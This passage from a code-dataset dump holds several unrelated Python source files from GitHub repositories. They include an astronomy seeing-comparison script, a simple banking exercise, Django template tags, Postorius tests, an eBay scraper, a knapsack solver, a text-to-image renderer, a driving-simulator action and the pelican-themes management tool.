flux < flux_min\n idx_o = np.where(topen['flux'] > flux_min)[0]\n idx_c = np.where(tclose['flux'] > flux_min)[0]\n\n topen = topen[idx_o]\n tclose = tclose[idx_c]\n \n m_c = np.ones(len(tclose))\n m_o = np.ones(len(topen))\n\n idx_c, idx_o, dr, dm = match.match(tclose['xcentroid'], tclose['ycentroid'], m_c,\n topen['xcentroid'], topen['ycentroid'], m_o,\n dr_tol=10)\n # Matched catalogs\n to_match = topen[idx_o]\n tc_match = tclose[idx_c]\n\n # Plot\n plt.figure(1)\n plt.clf()\n plt.plot(to_match['x_fwhm']*scale, tc_match['x_fwhm']*scale, 'r.', label='X')\n plt.plot(to_match['y_fwhm']*scale, tc_match['y_fwhm']*scale, 'b.', label='Y')\n plt.plot([0, 10], [0, 10], 'k--')\n plt.xlabel('FWHM in Open Loop (\")')\n plt.ylabel('FWHM in Closed Loop (\")')\n plt.axis('equal')\n\n max_fwhm = 1.5*np.mean([to_match['x_fwhm'], to_match['y_fwhm'], tc_match['x_fwhm'], tc_match['y_fwhm']])\n plt.ylim(0, max_fwhm*scale)\n plt.xlim(0, max_fwhm*scale)\n plt.legend(numpoints=1, loc='upper left')\n plt.pause(0.05)\n\n plt.figure(2)\n plt.clf()\n x_ratio = tc_match['x_fwhm'] / to_match['x_fwhm']\n y_ratio = tc_match['y_fwhm'] / to_match['y_fwhm']\n \n plt.plot(to_match['x_fwhm']*scale, x_ratio, 'r.', label='X')\n plt.plot(to_match['y_fwhm']*scale, y_ratio, 'b.', label='Y')\n plt.axhline(1, linestyle='--', color='black')\n plt.xlabel('FWHM in Open Loop (\")')\n plt.ylabel('Closed / Open FWHM')\n\n max_fwhm = 1.5*np.mean([to_match['x_fwhm'], to_match['y_fwhm'], tc_match['x_fwhm'], tc_match['y_fwhm']])\n plt.xlim(0, max_fwhm*scale)\n plt.ylim(0, 1.5)\n plt.legend(numpoints=1, loc='upper left')\n plt.pause(0.05)\n\n x_fwhm_o_med = np.median(to_match['x_fwhm']) \n y_fwhm_o_med = np.median(to_match['y_fwhm']) \n x_fwhm_c_med = np.median(tc_match['x_fwhm']) \n y_fwhm_c_med = np.median(tc_match['y_fwhm'])\n \n print('Open Loop Stats:')\n print('\\t Median x_fwhm = {0:.1f} +/- {1:.1f}'.format(x_fwhm_o_med * scale,\n to_match['x_fwhm'].std() * scale))\n print('\\t Median y_fwhm = {0:.1f} +/- {1:.1f}'.format(y_fwhm_o_med * scale,\n to_match['y_fwhm'].std() * scale))\n\n print('Closed Loop Stats:')\n print('\\t Median x_fwhm = {0:.1f} +/- {1:.1f}'.format(x_fwhm_c_med * scale,\n tc_match['x_fwhm'].std() * scale))\n print('\\t Median y_fwhm = {0:.1f} +/- {1:.1f}'.format(y_fwhm_c_med * scale,\n tc_match['y_fwhm'].std() * scale))\n\n print('Fractional Improvement')\n print('\\t x_fwhm closed / open = {0:.2f}'.format(x_fwhm_c_med / x_fwhm_o_med))\n print('\\t y_fwhm closed / open = {0:.2f}'.format(y_fwhm_c_med / y_fwhm_o_med))\n \n","repo_name":"jluastro/imaka","sub_path":"imaka/reduce/nights/reduce_2016_11_18.py","file_name":"reduce_2016_11_18.py","file_ext":"py","file_size_in_byte":8214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"38675599559","text":"print(\"\"\"\n ----------------------------------\n | Bem-vindo, o que deseja fazer? |\n ----------------------------------\n \n 1 - Depósito\n\n 2 - Saque\n\n 3 - Extrato\n \"\"\")\n\nbalanco = 0\nextrato = \"\"\nnum_saque = 0\nLIMITE_SAQUE = 3\nlimite = 500\n\nwhile True:\n print('')\n escolha = int(input(\"Digite opção desejada: \\t\"))\n print('')\n if(escolha == 1):\n valor = float(input(\"Você escolheu depósito, qual valor gostaria de depositar? \\t \"))\n \n print(f'Valor depositado foi de: \\t R${valor:,.2f}')\n if (valor > 0):\n balanco += valor\n extrato += f'Depósito: \\t R${valor:,.2f}\\n'\n \n else:\n print('Não foi possível realizar essa operação')\n elif (escolha == 2):\n \n valor = float(input(\"Você escolheu retirada, qual valor gostaria de sacar? \\t \"))\n \n excedeu_saldo = valor > balanco\n excedeu_limite = valor > limite\n excedeu_saque = num_saque >= LIMITE_SAQUE\n\n if excedeu_saldo:\n print('Não há saldo suficiente, operação não realizada')\n elif excedeu_limite:\n print('Valor diário de saque foi atingido, operação não realizada')\n elif excedeu_saque:\n print('Limite de saques diários atingido, operação não realizada')\n elif valor > 0:\n print(f'Valor retirado foi de: \\t R${valor:,.2f}')\n balanco -= valor\n extrato += f'Retirada \\t R${valor:,.2f}\\n'\n num_saque += 1\n else:\n print('Valor informado inválido!')\n\n elif (escolha == 3):\n print('Extrato')\n print('Não há transição financeira' if not extrato else extrato)\n print(f'Balanço: R$ {balanco:,.2f}')\n\n else:\n print('Não foi possível realizar operação')\n","repo_name":"matteeussPei/Sistema-Bancario","sub_path":"sistemabancario.py","file_name":"sistemabancario.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21897106601","text":"from django import template\n\n\nregister = template.Library()\n\n\n@register.simple_tag(takes_context=True)\ndef get_site_root(context):\n return context['request'].site.root_page\n\n\n@register.inclusion_tag(\"home/inclusion/top_menu.html\", takes_context=True)\ndef top_menu(context, root, calling_page=None):\n menuitems = root.get_children().live().in_menu()\n for menuitem in menuitems:\n menuitem.has_children = menuitem.get_children().live().in_menu().exists()\n\n return {\n \"calling_page\": calling_page,\n \"menuitems\": menuitems,\n \"request\": context['request']\n }\n\n\n@register.inclusion_tag(\"home/inclusion/top_menu_children.html\", takes_context=True)\ndef top_menu_children(context, parent):\n children = parent.get_children()\n for child in children:\n child.has_children = child.get_children().live().in_menu().exists()\n\n return {\n 'parent': parent,\n 'children': children,\n 'request': context['request']\n }\n\n\n@register.inclusion_tag(\"home/inclusion/footer.html\", takes_context=True)\ndef display_footer(context):\n return {\n \"request\": context['request']\n }\n","repo_name":"wlminimal/epc","sub_path":"home/templatetags/epc_tags.py","file_name":"epc_tags.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6800764671","text":"#取數字的個十百千位的數字\r\nfrom sys import stdout\r\nif __name__ == '__main__':\r\n x = int(input('pls input a four number:\\n'))\r\n xx = []\r\n a = x / 1000\r\n b = x % 1000 / 100\r\n c = x % 100 / 10\r\n d = x % 10\r\n xx.append(a)\r\n xx.append(b)\r\n xx.append(c)\r\n xx.append(d)\r\n print (xx)\r\n\r\nfrom sys import stdin\r\nfor s in range(100,1000):\r\n a=s/100\r\n b=(s%100)/10\r\n c=s%10\r\n print(a,b,c)\r\n break","repo_name":"Bill640616Chen/python","sub_path":"w3-Excersize013-7.py","file_name":"w3-Excersize013-7.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37628312683","text":"from mock import patch, MagicMock\nfrom allauth.account.models import EmailAddress\nfrom django.contrib.auth.models import User\nfrom django.utils.six.moves.urllib.error import HTTPError\nfrom django.test import override_settings\n\nfrom postorius.tests.utils import ViewTestCase\nfrom postorius.models import (\n MailmanApiError, MailmanListManager, MailmanUserManager)\n\n\nclass ModelTest(ViewTestCase):\n \"\"\"Tests for the list index page.\"\"\"\n\n def setUp(self):\n super(ModelTest, self).setUp()\n self.domain = self.mm_client.create_domain('example.com')\n self.foo_list = self.domain.create_list('foo')\n\n @override_settings(AUTOCREATE_MAILMAN_USER=False)\n def test_mailman_user_not_created_when_flag_is_off(self):\n user = User.objects.create_user(\n 'testuser', 'test@example.com', 'testpass')\n EmailAddress.objects.create(\n user=user, email=user.email, verified=True)\n with self.assertRaises(HTTPError):\n self.mm_client.get_user('test@example.com')\n\n @override_settings(AUTOCREATE_MAILMAN_USER=True)\n def test_mailman_user_created_when_flag_is_on(self):\n user = User.objects.create_user(\n 'testuser', 'test@example.com', 'testpass')\n EmailAddress.objects.create(\n user=user, email=user.email, verified=True)\n mm_user = self.mm_client.get_user('test@example.com')\n self.assertEqual(str(mm_user.addresses[0]), 'test@example.com')\n\n @override_settings(AUTOCREATE_MAILMAN_USER=True)\n @patch('postorius.models.MailmanUser')\n def test_core_not_reachable(self, mock_model):\n # Fail Gracefully if the Core is not reachable when\n # creating the user account.\n mock_model.objects.create_from_django.side_effect = MailmanApiError\n # User creation should succeed without any error, even though there\n # is no MailmanUser. However, this error should be logged.\n with patch('postorius.models.logger') as log:\n User.objects.create_user('testuser, test@example.com', 'testpass')\n errmsg = 'Mailman Core API is not reachable.'\n log.error.assert_called_with(errmsg)\n # There should be no user in Mailman with this address.\n with self.assertRaises(HTTPError):\n self.mm_client.get_user('test@example.com')\n\n\nclass TestMailmanListManager(ViewTestCase):\n\n def setUp(self):\n super().setUp()\n self.domain = self.mm_client.create_domain('example.com')\n self.domain2 = self.mm_client.create_domain('most-desirable.org')\n self.foo_list = self.domain.create_list('foo')\n self.bar_list = self.domain.create_list('bar')\n self.baz_list = self.domain2.create_list('baz')\n self.list_manager = MailmanListManager()\n\n def test_get_all_mailinglists(self):\n lists = self.list_manager.all()\n # This should return all the 2 mailing lists that we have.\n self.assertEqual(len(lists), 3)\n self.assertEqual(\n [x.fqdn_listname for x in lists],\n ['bar@example.com', 'baz@most-desirable.org', 'foo@example.com'])\n\n def test_get_by_mail_host(self):\n lists = self.list_manager.by_mail_host('example.com')\n self.assertEqual(len(lists), 2)\n self.assertEqual(\n [x.fqdn_listname for x in lists],\n ['bar@example.com', 'foo@example.com'])\n\n def test_get_single_mailinglist(self):\n mlist = self.list_manager.get('baz@most-desirable.org')\n self.assertIsNotNone(mlist)\n self.assertEqual(str(mlist), str(self.baz_list))\n\n\nclass TestMailmanUserManager(ViewTestCase):\n\n @override_settings(AUTOCREATE_MAILMAN_USER=False)\n def setUp(self):\n super().setUp()\n self.user_manager = MailmanUserManager()\n self.bob = User.objects.create(\n email='bob@example.com', username='bob', first_name=\"Bob\")\n self.alice = User.objects.create(\n email='alice@example.com', username='alice', first_name='Alice')\n\n def test_create_from_django_works(self):\n mm_user = self.user_manager.create_from_django(self.bob)\n self.assertIsNotNone(mm_user)\n self.assertEqual(len(mm_user.addresses), 1)\n\n def test_create_from_django_sets_all_attributes(self):\n mm_user = self.user_manager.create_from_django(self.bob)\n self.assertIsNotNone(mm_user)\n self.assertEqual(mm_user.display_name, 'Bob')\n self.assertEqual([str(x) for x in list(mm_user.addresses)],\n ['bob@example.com'])\n\n def test_get_or_create_from_django(self):\n self.user_manager.create_from_django = MagicMock(name='create')\n muser = self.user_manager.get_or_create_from_django(self.bob)\n self.assertIsNotNone(muser)\n self.user_manager.create_from_django.assert_called_once()\n # This was a non-existent user so it was created for us. Now, let's try\n # with an existing user.\n user = self.user_manager.create(email=self.bob.email, password=None)\n self.assertIsNotNone(user)\n # Now we reset the mock and see that create_from_django isn't called\n # anymore.\n self.user_manager.create_from_django.reset_mock()\n muser = self.user_manager.get_or_create_from_django(self.bob)\n self.user_manager.create_from_django.assert_not_called()\n","repo_name":"Nakaner/postorius-debian","sub_path":"src/postorius/tests/mailman_api_tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":5343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17935756210","text":"from selenium import webdriver\nimport re\nfrom ebay_entry import *\nfrom utils import *\nimport os\n\nif (os.name == 'nt'):\n driver = webdriver.Chrome(os.path.join(os.getcwd(), 'chromedriver.exe'))\nelse:\n driver = webdriver.Chrome()\n\ndriver.get(\"http://www.ebay.com\")\n\nsearch_item = \"Imax B6AC charger\"\n\n# get text-area\ntextarea = driver.find_element_by_id(\"gh-ac\")\n#clear and write search item\ntextarea.clear\ntextarea.send_keys(search_item)\n#click search\nsearch_button = driver.find_element_by_id(\"gh-btn\")\nsearch_button.click()\n\nnum_results = driver.find_element_by_class_name(\"srp-controls__count-heading\")\n#results\nprint(num_results.text)\nnum_results = re.split(\" \", num_results.text)[0]\nif int(num_results) is 0:\n print(\"result is zero, no data to analyze\")\n quit()\n\n#we have a non-zero result..gather top 50 product data\npr_list = get_product_collection(driver)\n#driver.close()\n\n\n\n#gather item of top 50 relevant product and prep 50 ebay_entries\n#dump JSON of product data\n#analyze and represent data\n\n\n\n","repo_name":"SushanBasnet/wbscrp","sub_path":"ws.py","file_name":"ws.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23236992910","text":"from itertools import product\r\n\r\nclass KnapSack:\r\n def __init__(self, profits, weights, capacity):\r\n self.profits = profits\r\n self.weights = weights\r\n self.capacity = capacity\r\n\r\n def solve_knapsack_brute_force(self):\r\n dane = [0, 1]\r\n max_profit = 0\r\n productSet = product(dane, repeat = len(self.weights))\r\n\r\n for element in productSet:\r\n profit = 0\r\n weight = 0\r\n for index in range(len(element)):\r\n sum = element[index] * self.weights[index]\r\n weight += sum\r\n res = element[index] * self.profits[index]\r\n profit += res\r\n\r\n if(weight <= self.capacity and profit >= max_profit):\r\n max_profit = profit\r\n indexes = [i for i in range(len(element)) if element[i] == 1]\r\n return indexes\r\n \r\n\r\n\r\n def solve_knapsack_pw_ratio(self):\r\n ratios = []\r\n for p, w, i in zip(self.profits, \r\n self.weights, \r\n range(len(self.weights))\r\n ):\r\n ratios.append( (p/w, i) )\r\n ratios.sort(reverse = True)\r\n\r\n sum = 0\r\n i = 0\r\n indexes = []\r\n\r\n while(sum + self.weights[ratios[i][1]] <= self.capacity):\r\n index = ratios[i][1]\r\n sum += self.weights[index]\r\n indexes.append(index)\r\n i += 1\r\n return indexes\r\n\r\n def format(self, indexes):\r\n indexes.sort()\r\n print([el for el in indexes])\r\n","repo_name":"ewaMiazga/iai-2022","sub_path":"Knapsack Problem/KnapSack.py","file_name":"KnapSack.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32639893227","text":"from base64 import b64encode\nfrom io import BytesIO\nfrom pathlib import Path\nfrom typing import Optional, Union\n\nfrom PIL import Image, ImageDraw, ImageFont\n\nfrom .config import FONT_FILE, templates\n\n\nclass Txt2Img:\n \"\"\"Convert text to image\"\"\"\n\n font_family: str\n title_font_size: int\n text_font_size: int\n title_line_space: int\n text_line_space: int\n text_max_width: int\n fix_width: bool\n text_color: tuple\n title_color: tuple\n bg_color: tuple\n\n def __init__(self):\n self.font_family = str(FONT_FILE)\n self.title_font_size = 45\n self.text_font_size = 30\n self.title_line_space = 30\n self.text_line_space = 15\n self.text_max_width = 1080\n self.fix_width = False\n self.text_color = (0, 0, 0, 255)\n self.title_color = (0, 0, 0, 255)\n self.bg_color = (255, 255, 255, 0)\n\n def set_font_family(self, font_family: str):\n \"\"\"设置字体\"\"\"\n self.font_family = font_family\n\n def set_font_size(self, font_size: int, title_font_size: Optional[int] = None):\n \"\"\"设置字体大小\"\"\"\n self.text_font_size = font_size\n self.text_line_space = font_size // 2\n if title_font_size is not None:\n self.title_font_size = title_font_size\n else:\n self.title_font_size = int(font_size * 1.5)\n self.title_line_space = font_size\n\n def set_font_color(self, text_color: tuple, title_color: Optional[tuple] = None):\n \"\"\"设置字体颜色\"\"\"\n self.text_color = text_color\n if title_color is not None:\n self.title_color = title_color\n else:\n self.title_color = text_color\n\n def set_width(self, width: int):\n \"\"\"设置图片宽度\"\"\"\n self.text_max_width = width\n self.fix_width = True\n\n def word_wrap(self, text: str, font: ImageFont.FreeTypeFont) -> str:\n \"\"\"自动换行\"\"\"\n temp_len = 0\n result = \"\"\n for ch in text:\n char_w = font.getsize(ch)[0]\n if ch == \"\\n\":\n result += ch\n temp_len = 0\n elif char_w > 0:\n result += ch\n temp_len += char_w\n if temp_len > self.text_max_width - self.text_font_size:\n temp_len = 0\n result += \"\\n\"\n result = result.rstrip()\n return result\n\n def draw_img(\n self, title: str, text: str, template: Union[str, dict] = \"mi\"\n ) -> Image.Image:\n \"\"\"绘制给定模板下的图片\"\"\"\n\n if isinstance(template, str):\n try:\n template = templates[template] # type: ignore\n except KeyError:\n template = templates[\"mi\"] # type: ignore\n\n try:\n font_family = template[\"font\"] # type: ignore\n text_color = template[\"text\"][\"color\"] # type: ignore\n title_color = template[\"title\"][\"color\"] # type: ignore\n margin = int(template[\"margin\"]) # type: ignore\n background = template[\"background\"] # type: ignore\n except KeyError:\n raise ValueError(\"Invalid template\")\n\n if not Path(font_family).exists():\n raise ValueError(\"Invalid font\")\n\n self.set_font_family(font_family)\n self.set_font_color(text_color, title_color) # type: ignore\n text_img = self.draw_text(title, text)\n\n try:\n if background[\"type\"] == \"image\": # type: ignore\n out_img = Image.new(\n \"RGBA\",\n (text_img.width + 2 * margin, text_img.height + 2 * margin),\n (0, 0, 0, 0),\n )\n bg_img = Image.open(background[\"image\"]) # type: ignore\n out_img = tile_image(bg_img, out_img)\n elif background[\"type\"] == \"color\": # type: ignore\n out_img = Image.new(\"RGBA\", (text_img.width + 2 * margin, text_img.height + 2 * margin), background[\"color\"]) # type: ignore\n else:\n raise ValueError(\"Invalid background type\")\n except Exception:\n raise ValueError(\"Invalid template\")\n\n out_img.paste(text_img, (margin, margin), text_img)\n\n try:\n border = template[\"border\"] # type: ignore\n border_color = border[\"color\"] # type: ignore\n border_width = int(border[\"width\"]) # type: ignore\n border_margin = int(border[\"margin\"]) # type: ignore\n draw = ImageDraw.Draw(out_img)\n draw.rectangle(\n (\n border_margin,\n border_margin,\n out_img.width - border_margin,\n out_img.height - border_margin,\n ),\n outline=border_color,\n width=border_width,\n )\n except KeyError:\n pass\n except Exception:\n raise ValueError(\"Invalid template\")\n\n return out_img\n\n def draw(self, title: str, text: str, template: Union[str, dict] = \"mi\") -> str:\n \"\"\"绘制给定模板下指定标题与正文的图片并转换为base64\"\"\"\n out_img = self.draw_img(title, text, template)\n return img2b64(out_img)\n\n def draw_text(self, title: str, text: str) -> Image.Image:\n \"\"\"绘制标题与正文的图片\"\"\"\n title_font = ImageFont.truetype(self.font_family, self.title_font_size)\n text_font = ImageFont.truetype(self.font_family, self.text_font_size)\n\n if title == \" \":\n title = \"\"\n\n if len(title.split(\"\\n\")) > 1:\n title = title.split(\"\\n\")[0]\n\n text = self.word_wrap(text, text_font)\n\n lines = text.split(\"\\n\")\n text_rows = len(lines)\n\n title_width = title_font.getsize(title)[0]\n\n if not self.fix_width:\n line_max_width = max([text_font.getsize(line)[0] for line in lines])\n text_total_width = max(line_max_width, title_width)\n else:\n text_total_width = self.text_max_width\n\n if title:\n text_total_height = (\n self.title_font_size\n + self.title_line_space\n + self.text_font_size * text_rows\n + (text_rows - 1) * (self.text_line_space)\n )\n else:\n text_total_height = self.text_font_size * text_rows + (text_rows - 1) * (\n self.text_line_space\n )\n\n out_img = Image.new(\n mode=\"RGBA\", size=(text_total_width, text_total_height), color=self.bg_color\n )\n draw = ImageDraw.Draw(out_img)\n\n if title:\n draw.text(\n ((text_total_width - title_width) // 2, 0),\n title,\n font=title_font,\n fill=self.text_color,\n spacing=self.title_line_space,\n )\n draw.text(\n (\n 0,\n self.title_font_size + self.title_line_space,\n ),\n text,\n font=text_font,\n fill=self.text_color,\n spacing=self.text_line_space,\n )\n else:\n draw.text(\n (0, 0),\n text,\n font=text_font,\n fill=self.text_color,\n spacing=self.text_line_space,\n )\n\n return out_img\n\n\ndef tile_image(small_image: Image.Image, big_image: Image.Image) -> Image.Image:\n \"\"\"将小图片平铺到大图片上\"\"\"\n w, h = small_image.size\n\n for i in range(0, big_image.size[0], w):\n for j in range(0, big_image.size[1], h):\n big_image.paste(small_image, (i, j))\n\n return big_image\n\n\ndef img2b64(img) -> str:\n \"\"\"图片转 base64\"\"\"\n buf = BytesIO()\n img.save(buf, format=\"PNG\")\n base64_str = \"base64://\" + b64encode(buf.getvalue()).decode()\n return base64_str\n","repo_name":"mobyw/nonebot-plugin-txt2img","sub_path":"nonebot_plugin_txt2img/txt2img.py","file_name":"txt2img.py","file_ext":"py","file_size_in_byte":7960,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"37"} +{"seq_id":"20161298115","text":"import numpy as np\nfrom driving_sim.actions.action import Action\n\nclass TrajectoryAccelAction(Action):\n def __init__(self,a_s,a_t,trajectory):\n self.a_s = a_s\n self.a_t = a_t # is always 0 for now!\n self.trajectory = trajectory\n\n def update(self,car,dt):\n s, t, theta, curv = self.trajectory.xy_to_traj(car.position)\n\n v_x, v_y = car.velocity[0], car.velocity[1]\n # rotate the total velocity for theta degrees\n v_s = v_x*np.cos(theta) + v_y*np.sin(theta)\n v_t = -v_x*np.sin(theta) + v_y*np.cos(theta)\n phi = np.arctan2(v_t, v_s)\n\n v_s_new = v_s + self.a_s*dt\n v_t_new = v_t + self.a_t*dt\n velocity_new = car.set_velocity(np.array([v_s_new, v_t_new]))\n v_s_new, v_t_new = velocity_new[0], velocity_new[1]\n s_new = s + 0.5*(v_s+v_s_new)*dt\n t_new = t + 0.5*(v_t+v_t_new)*dt\n\n x_new, y_new, theta_new, curv_new = self.trajectory.traj_to_xy(np.array([s_new, t_new]))\n # rotate the velocity back\n v_x_new = v_s_new*np.cos(theta_new) - v_t_new*np.sin(theta_new)\n v_y_new = v_s_new*np.sin(theta_new) + v_t_new*np.cos(theta_new)\n\n car.set_position(np.array([x_new,y_new]))\n # print('velocity:', v_x_new, v_y_new)\n car.set_velocity(np.array([v_x_new, v_y_new]))\n phi_new = np.arctan2(v_t_new, v_s_new)\n\n max_ang = car._max_rotation #np.pi/18.\n if phi_new > max_ang:\n car.set_rotation(theta_new+max_ang)\n elif phi_new < -max_ang:\n car.set_rotation(theta_new-max_ang)\n else:\n car.set_rotation(theta_new+phi_new)\n","repo_name":"Shuijing725/VAE_trait_inference","sub_path":"driving_sim/actions/trajectory_accel_action.py","file_name":"trajectory_accel_action.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"37"} +{"seq_id":"36456538020","text":"#!/usr/bin/env python\n\nimport argparse\nimport os\nimport shutil\nimport sys\n\n\ndef err(msg, die=None):\n \"\"\"Print an error message and exits if an exit code is given\"\"\"\n sys.stderr.write(msg + \"\\n\")\n if die:\n sys.exit(die if isinstance(die, int) else 1)\n\n\ntry:\n import pelican\nexcept ImportError:\n err(\n \"Cannot import pelican.\\nYou must \"\n \"install Pelican in order to run this script.\",\n -1,\n )\n\n\nglobal _THEMES_PATH\n_THEMES_PATH = os.path.join(\n os.path.dirname(os.path.abspath(pelican.__file__)), \"themes\"\n)\n\n__version__ = \"0.2\"\n_BUILTIN_THEMES = [\"simple\", \"notmyidea\"]\n\n\ndef main():\n \"\"\"Main function\"\"\"\n\n parser = argparse.ArgumentParser(description=\"\"\"Install themes for Pelican\"\"\")\n\n excl = parser.add_mutually_exclusive_group()\n excl.add_argument(\n \"-l\",\n \"--list\",\n dest=\"action\",\n action=\"store_const\",\n const=\"list\",\n help=\"Show the themes already installed and exit\",\n )\n excl.add_argument(\n \"-p\",\n \"--path\",\n dest=\"action\",\n action=\"store_const\",\n const=\"path\",\n help=\"Show the themes path and exit\",\n )\n excl.add_argument(\n \"-V\",\n \"--version\",\n action=\"version\",\n version=f\"pelican-themes v{__version__}\",\n help=\"Print the version of this script\",\n )\n\n parser.add_argument(\n \"-i\",\n \"--install\",\n dest=\"to_install\",\n nargs=\"+\",\n metavar=\"theme path\",\n help=\"The themes to install\",\n )\n parser.add_argument(\n \"-r\",\n \"--remove\",\n dest=\"to_remove\",\n nargs=\"+\",\n metavar=\"theme name\",\n help=\"The themes to remove\",\n )\n parser.add_argument(\n \"-U\",\n \"--upgrade\",\n dest=\"to_upgrade\",\n nargs=\"+\",\n metavar=\"theme path\",\n help=\"The themes to upgrade\",\n )\n parser.add_argument(\n \"-s\",\n \"--symlink\",\n dest=\"to_symlink\",\n nargs=\"+\",\n metavar=\"theme path\",\n help=\"Same as `--install', but create a symbolic link instead of \"\n \"copying the theme. Useful for theme development\",\n )\n parser.add_argument(\n \"-c\",\n \"--clean\",\n dest=\"clean\",\n action=\"store_true\",\n help=\"Remove the broken symbolic links of the theme path\",\n )\n\n parser.add_argument(\n \"-v\", \"--verbose\", dest=\"verbose\", action=\"store_true\", help=\"Verbose output\"\n )\n\n args = parser.parse_args()\n\n to_install = args.to_install or args.to_upgrade\n to_sym = args.to_symlink or args.clean\n\n if args.action:\n if args.action == \"list\":\n list_themes(args.verbose)\n elif args.action == \"path\":\n print(_THEMES_PATH)\n elif to_install or args.to_remove or to_sym:\n if args.to_remove:\n if args.verbose:\n print(\"Removing themes...\")\n\n for i in args.to_remove:\n remove(i, v=args.verbose)\n\n if args.to_install:\n if args.verbose:\n print(\"Installing themes...\")\n\n for i in args.to_install:\n install(i, v=args.verbose)\n\n if args.to_upgrade:\n if args.verbose:\n print(\"Upgrading themes...\")\n\n for i in args.to_upgrade:\n install(i, v=args.verbose, u=True)\n\n if args.to_symlink:\n if args.verbose:\n print(\"Linking themes...\")\n\n for i in args.to_symlink:\n symlink(i, v=args.verbose)\n\n if args.clean:\n if args.verbose:\n print(\"Cleaning the themes directory...\")\n\n clean(v=args.verbose)\n else:\n print(\"No argument given... exiting.\")\n\n\ndef themes():\n \"\"\"Returns the list of the themes\"\"\"\n for i in os.listdir(_THEMES_PATH):\n e = os.path.join(_THEMES_PATH, i)\n\n if os.path.isdir(e):\n if os.path.islink(e):\n yield (e, os.readlink(e))\n else:\n yield (e, None)\n\n\ndef list_themes(v=False):\n \"\"\"Display the list of the themes\"\"\"\n for theme_path, link_target in themes():\n if not v:\n theme_path = os.path.basename(theme_path)\n if link_target:\n if v:\n print(theme_path + (\" (symbolic link to `\" + link_target + \"')\"))\n else:\n print(theme_path + \"@\")\n else:\n print(theme_path)\n\n\ndef remove(theme_name, v=False):\n \"\"\"Removes a theme\"\"\"\n\n theme_name = theme_name.replace(\"/\", \"\")\n target = os.path.join(_THEMES_PATH, theme_name)\n\n if theme_name in _BUILTIN_THEMES:\n err(\n theme_name + \" is a builtin theme.\\n\"\n \"You cannot remove a builtin theme with this script, \"\n \"remove it by hand if you want.\"\n )\n elif os.path.islink(target):\n if v:\n print(\"Removing link `\" + target + \"'\")\n os.remove(target)\n elif os.path.isdir(target):\n if v:\n print(\"Removing directory `\" + target + \"'\")\n shutil.rmtree(target)\n elif os.path.exists(target):\n err(target + \" : not a valid theme\")\n else:\n err(target + \" : no such file or directory\")\n\n\ndef install(path, v=False, u=False):\n \"\"\"Installs a theme\"\"\"\n if not os.path.exists(path):\n err(path + \" : no such file or directory\")\n elif not os.path.isdir(path):\n err(path + \" : not a directory\")\n else:\n theme_name = os.path.basename(os.path.normpath(path))\n theme_path = os.path.join(_THEMES_PATH, theme_name)\n exists = os.path.exists(theme_path)\n if exists and not u:\n err(path + \" : already exists\")\n elif exists:\n remove(theme_name, v)\n install(path, v)\n else:\n if v:\n print(f\"Copying '{path}' to '{theme_path}' ...\")\n try:\n shutil.copytree(path, theme_path)\n\n try:\n if os.name == \"posix\":\n for root, dirs, files in os.walk(theme_path):\n for d in dirs:\n dname = os.path.join(root, d)\n os.chmod(dname, 493) # 0o755\n for f in files:\n fname = os.path.join(root, f)\n os.chmod(fname, 420) # 0o644\n except OSError as e:\n err(\n \"Cannot change permissions of files \"\n \"or directory in `{r}':\\n{e}\".format(r=theme_path, e=str(e)),\n die=False,\n )\n except Exception as e:\n err(\n \"Cannot copy `{p}' to `{t}':\\n{e}\".format(\n p=path, t=theme_path, e=str(e)\n )\n )\n\n\ndef symlink(path, v=False):\n \"\"\"Symbolically link a theme\"\"\"\n if not os.path.exists(path):\n err(path + \" : no such file or directory\")\n elif not os.path.isdir(path):\n err(path + \" : not a directory\")\n else:\n theme_name = os.path.basename(os.path.normpath(path))\n theme_path = os.path.join(_THEMES_PATH, theme_name)\n if os.path.exists(theme_path):\n err(path + \" : already exists\")\n else:\n if v:\n print(f\"Linking `{path}' to `{theme_path}' ...\")\n try:\n os.symlink(path, theme_path)\n except Exception as e:\n err(\n \"Cannot link `{p}' to `{t}':\\n{e}\".format(\n p=path, t=theme_path, e=str(e)\n )\n )\n\n\ndef is_broken_link(path):\n \"\"\"Returns True if the path given as is a broken symlink\"\"\"\n path = os.readlink(path)\n return not os.path.exists(path)\n\n\ndef clean(v=False):\n \"\"\"Removes the broken symbolic links\"\"\"\n c = 0\n for path in os.listdir(_THEMES_PATH):\n path = os.path.join(_THEMES_PATH, path)\n if os.path.islink(path) and is_broken_link(path):\n if v:\n print(f\"Removing {path}\")\n try:\n os.remove(path)\n except OSError:\n print(f\"Error: cannot remove {path}\")\n else:\n c += 1\n\n print(f\"\\nRemoved {c} broken links\")\n","repo_name":"getpelican/pelican","sub_path":"pelican/tools/pelican_themes.py","file_name":"pelican_themes.py","file_ext":"py","file_size_in_byte":8384,"program_lang":"python","lang":"en","doc_type":"code","stars":11876,"dataset":"github-code","pt":"37"} +{"seq_id":"17396575299","text":"# -*- coding: utf-8 -*-\nimport json\nimport logging\nimport re\nimport time\nimport typing\nimport urllib.parse\nfrom collections import defaultdict\nfrom collections.abc import Iterable\nfrom typing import Optional\n\nimport feedparser\nfrom bs4 import BeautifulSoup\nfrom django.db.models import QuerySet\n\nfrom core.base.parsers import BaseParser\nfrom core.base.utilities import (\n chunks, request_with_retries, construct_request_dict, request_by_provider)\nfrom core.base.types import GalleryData, DataDict\nfrom viewer.models import Gallery\nfrom .utilities import 